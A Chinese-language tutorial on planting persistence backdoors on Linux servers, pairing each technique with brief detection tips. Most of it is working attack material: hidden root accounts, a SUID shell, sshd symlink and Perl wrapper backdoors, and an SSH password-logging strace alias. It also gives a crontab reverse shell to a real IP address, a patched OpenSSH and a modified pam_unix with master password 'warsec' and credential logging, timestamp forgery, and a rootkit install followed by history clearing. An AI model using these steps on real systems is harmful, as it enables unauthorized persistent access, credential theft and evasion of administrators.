一:适配方法
1:后门账户
###添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;
echo 'guest:123456'|chpasswd --->debain
echo 123admiN@ | passwd guest --stdin --> Centos
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
###添加root用户:
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd cshm #修改cshm的密码为cshm123
可疑用户排查:
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
2:SUID Shell
Suid shell是一种可用于以拥有者权限运行的shell。
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
可疑排查:
# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell
3:公私钥免密登录
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys
),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
客户端与服务端执行:
ssh-keygen -t rsa #过程中按三次回车
其中 id_rsa
为私钥,id_rsa.pub
为公钥,接下来打开id_rsa.pub
,将内容复制到服务器。将id_rsa.pub
的内容追加到/root/.ssh/authorized_keys
内,配置完成。
排查技巧:查看/root/.ssh/authorized_keys
是否被修改。
4:软连接
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient
时只要pam_rootok
模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su
在/etc/pam.d/
目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so
,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
在目标服务器上执行一句话后门并在客户端执行ssh root@IP -p 8888
,输入任意密码,成功登录。
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
排查技巧:进程、端口都可以发现异常, kill -s 9 PID
结束进程即可清除后门。
5:SSH Wrapper
首先启动的是/usr/sbin/sshd,脚本执行到getpeername
这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername
能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell.
简单点就是从sshd fork
出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
服务端执行:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
客户端执行:
socat STDIO TCP4:target_ip:22,sourceport=13377
排查技巧:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。
6:Strace后门
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
或
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
source /root/.bashrc #立即生效
排查技巧:使用alias
即可发现异常。
7:Crontab反弹Shell
crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
服务端操作:
#创建shell脚本,例如在/etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/121.40.248.82/4321 0>&1
#给定执行权限
chmod +sx /etc/evil.sh
#配置计划任务
vim /etc/crontab
*/1 * * * * root /etc/shell.sh
#重启计划任务
systemctl restart crond
客户端操作:
nc -lvvp 4321
8:Openssh后门
利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现并通过修改SSH源代码的方式来留一个万能的SSH密码。
工具下载地址:
链接:https://pan.baidu.com/s/1j24PAR8CCo-wJxlOEpY1Fg
提取码:jug3
--来自百度网盘超级会员V1的分享
步骤一:环境准备
yum -y install openssl openssl-devel pam-devel zlib zlib-devel #安装依赖包
yum -y install gcc gcc-c++ make #安装编译环境
步骤二:记录SSH版本号并重命名原来的ssh主程序和配置文件(作用是待会同步时间)
#SSH版本号
ssh -V
#重命名主程序和配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.bank
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.bank
mv /usr/sbin/sshd /usr/sbin/sshd.bank
步骤三:将百度云盘的zip文件解压后并上穿到目标服务器进行解压与打补丁
tar -xzvf openssh-5.9p1.patch.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1 #移动补丁文件中的diff文件到正常ssh目录
cd openssh-5.9p1 #进入ssh正常目录
patch < sshbd5.9p1.diff #打补丁
步骤四:修改后门密码和版本信息
vim includes.h
177 #define ILOG "/tmp/ilog" #ILOG是别人用ssh登录该主机记录的日志目录
178 #define OLOG "/tmp/olog" #OLOG是该主机用ssh登录其他主机记录的日志目录
179 #define SECRETPW "warsec" #万能密码
180 #endif /* INCLUDES_H */
步骤五:修改版本号避免管理员发现
vi versin.h
步骤六:重新安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
出现一下信息则代表安装编译成功:
步骤七:修改sshd程序和配置文件时间,避免被管理员发现sshd程序发生了修改
touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd
步骤八:验证
service sshd restart #重启sshd服务
ssh -V #查看版本号
在/tmp目录下会生成ilog和olog日志,当其他主机ssh登录该主机时(使用万能密码登录的不会记录),会生成ilog日志,当该主机ssh登录其他主机时,会生成olog日志。
9:PAM后门
在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。
从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。
步骤一:准备抹干净的留后门系统....(将以上Openssh后门系统重置),执行以下命令查看PAM版本号码。
rpm -qa|grep pam
步骤二:下载对应版本的PAM源码包,下载地址:Index of /library
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
步骤三:安装gcc
编译器和flex
库
yum install gcc flex flex-devel -y
步骤四:留PAM后门和保存SSH登录的账号密码
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("warsec",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a"); //SSH登录用户名密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;
第五步:编译...出现一下内容即为成功
cd ../..
./configure && make
第六步:备份原有pam_unix.so,防止出现错误登录不上....
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
第七步:复制新PAM模块到/lib64/security/
目录下
第八步:远程登录测试,使用密码warsec
>>>排查技巧<<<
natstat -anpt #查看连接
stat /lib/security/pam_unix.so #32位 检查pam_unix.so的修改时间
stat /lib64/security/pam_unix.so #64位 检查pam_unix.so的修改时间
yum reinstall pam #清除后门
10:Rookit后门
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
特点:
优势:隐蔽性一般,无需要编译。
劣势:会替换ls等命令,容易被识破。
适用:Centos 5.5~
使用说明:
//首先解压包
#cd /tmp/mafix_rootkit //进入目录并用root权限运行。
#./root 密码 端口 //安装rootkit 命令:./root 密码 端口
(如: ./root toor 8080 那么下次连接的时候只需用putty连接它的8080端口,用户名是root,密码为toor)
注意:安装完成后会自动删除目录,为了隐蔽,我们在用 history -c 清除下命令就行了。